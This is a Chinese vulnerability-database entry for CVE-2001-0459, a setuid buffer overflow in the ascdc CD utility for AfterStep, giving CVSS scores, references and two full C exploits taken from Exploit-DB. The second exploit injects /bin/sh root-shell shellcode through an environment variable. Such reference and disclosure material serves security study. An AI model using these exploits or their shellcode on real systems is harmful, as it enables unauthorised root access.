CVE-2001-0459
CVSS7.2
发布时间 :2001-06-27 00:00:00
修订时间 :2016-10-17 22:11:15
NMCOE    

[原文]Buffer overflows in ascdc Afterstep while running setuid allows local users to gain root privileges via a long (1) -d option, (2) -m option, or (3) -f option.


[CNNVD]ascdc Afterstep缓冲区溢出漏洞(CNNVD-200106-183)

        ascdc Afterstep在运行setuid时存在缓冲区溢出漏洞。本地用户借助超长(1)-d选项,(2)-m 选项,或者(3)-f选项提升根特权。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:rob_malda:ascdc:0.3
cpe:/a:afterstep.org:afterstep

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0459
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0459
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200106-183
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=98408897106411&w=2
(UNKNOWN)  BUGTRAQ  20010308 ascdc Buffer Overflow Vulnerability
http://xforce.iss.net/static/6204.php
(VENDOR_ADVISORY)  XF  ascdc-afterstep-bo

- 漏洞信息

ascdc Afterstep缓冲区溢出漏洞
高危 缓冲区溢出
2001-06-27 00:00:00 2005-10-20 00:00:00
本地  
        ascdc Afterstep在运行setuid时存在缓冲区溢出漏洞。本地用户借助超长(1)-d选项,(2)-m 选项,或者(3)-f选项提升根特权。

- 公告与补丁

        

- 漏洞信息 (20678)

Rob Malda ASCDC 0.3 Buffer Overflow Vulnerability (1) (EDBID:20678)
unix local
2001-03-08 Verified
0 Anonymous
N/A [点击下载]
source: http://www.securityfocus.com/bid/2462/info

ascdc is a program written for X by Rob Malda. It is designed to provide a graphical interface to cd changing on linux systems.

A vulnerability in the program could allow elevated privileges on a system with the package installed setuid. Due to insufficent bounds checking, it is possible to execute arbitrary code with the ascdc program. Overflows in the -c, -d, and -m arguments make it possible for a user to overwrite variables on the stack, including the return address, and execute shellcode.

The program is not installed setuid. However, in a setuid installation, this problem makes it possible for a user to execute arbitrary code, and potentially gain elevated privileges. 

char shellcode[]="\xeb\x15\x59\x31\xc0\x31\xdb\x31\xd2\xb0"
           "\x04\xb3\x01\xb2\x50\xcd\x80\x31\xc0\xb0"
           "\x01\xcd\x80\xe8\xe6\xff\xff\xff"
           "Would you like to play a game? y\x0aStrange, the only winning
move is not to play.\x0a";
#define bsize 600
unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int i;
  buff = malloc(bsize);

  addr = get_sp();
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < 600/2; i++)
    buff[i] = 0x90;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];
    buff[bsize - 1] = '\0';
 execlp("/usr/X11R6/bin/ascdc","ascdc","-d",buff,0);

}
		

- 漏洞信息 (20679)

Rob Malda ASCDC 0.3 Buffer Overflow Vulnerability (2) (EDBID:20679)
unix local
2001-03-08 Verified
0 the itch
N/A [点击下载]
source: http://www.securityfocus.com/bid/2462/info
 
ascdc is a program written for X by Rob Malda. It is designed to provide a graphical interface to cd changing on linux systems.
 
A vulnerability in the program could allow elevated privileges on a system with the package installed setuid. Due to insufficent bounds checking, it is possible to execute arbitrary code with the ascdc program. Overflows in the -c, -d, and -m arguments make it possible for a user to overwrite variables on the stack, including the return address, and execute shellcode.
 
The program is not installed setuid. However, in a setuid installation, this problem makes it possible for a user to execute arbitrary code, and potentially gain elevated privileges. 

/* /usr/X11R6/bin/ascdc local exploit.
 * (version: ascdc-0.3-2-i386)
 *
 * Vulnerability found by Christer �berg, Wkit Security AB 
 *
 * <cut and pasted from the advisory posted on bugtraq> 
 *
 * There are multiple buffer overflows in ascdc that can be exploited to 
 * gain root if it is installed setuid root. It is NOT installed setuid root 
 * by default but as the README says:
 * "If you intend to use the automounting feature, you must either run 
 * ascdc as root or setuid it."
 *
 * Greetz fly out to: Tasc, C-murdah, Calimonk, Pyra, Tozz, Wildcoyote,
 *                    Lucipher, Script0r, Zephyr, ThePike, Kn00p, Cerial
 *		      Goolie and X-wartech.
 *
 * - The Itch / BsE
 * - http://bse.die.ms
 * - irc.axenet.org 
 */
 
#include <stdio.h>
#include <stdlib.h>
 
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

/* adjust if needed, this should be suffient */
#define DEFAULT_BUFFER_SIZE 600
 
unsigned long get_sp(void)
{
        __asm__("movl %esp, %eax");
}

char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";  

int main(int argc, char *argv[])
{
        char *buff;
        char *egg;
        char *ptr;
        long *addr_ptr;
        long addr;
        int bsize = DEFAULT_BUFFER_SIZE;
        int eggsize = DEFAULT_EGG_SIZE;
        int i;
 
	if(argc > 1) { bsize = atoi(argv[1]); }

	if(!(buff = malloc(bsize)))
	{
		printf("unable to allocate memory for %d bytes\n", bsize);
		exit(1);
	}

	if(!(egg = malloc(eggsize)))
	{
	 	printf("unable to allocate memory for %d bytes\n", eggsize);
 		exit(1);
	}

        addr = get_sp();
 
	printf("/usr/X11R6/bin/ascdc local exploit.\n");
	printf("Coded by The Itch / BsE\n\n");
        printf("Using return address: 0x%x\n", addr);
        printf("Using buffersize    : %d\n", bsize);
 
        ptr = buff;
        addr_ptr = (long *) ptr;  
        for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = addr; }
 
        ptr = egg;
        for(i = 0; i < eggsize - strlen(shellcode) -1; i++) 
	{ 
		*(ptr++) = NOP; 
	} 

	for(i = 0; i < strlen(shellcode); i++) 
	{ 
		*(ptr++) = shellcode[i];
	}

        buff[bsize - 1] = '\0';
        egg[eggsize - 1] = '\0';
        memcpy(egg, "EGG=", 4);
        putenv(egg);
        memcpy(buff, "RET=", 4);
        putenv(buff);
 
        system("/usr/X11R6/bin/ascdc -c $RET");
 
        return 0;
}      

/* remember, there's no cure for BsE */
		

- 漏洞信息

13881
ascdc Afterstep Multiple Option Local Overflows
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2001-03-08 Unknow
2001-03-08 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站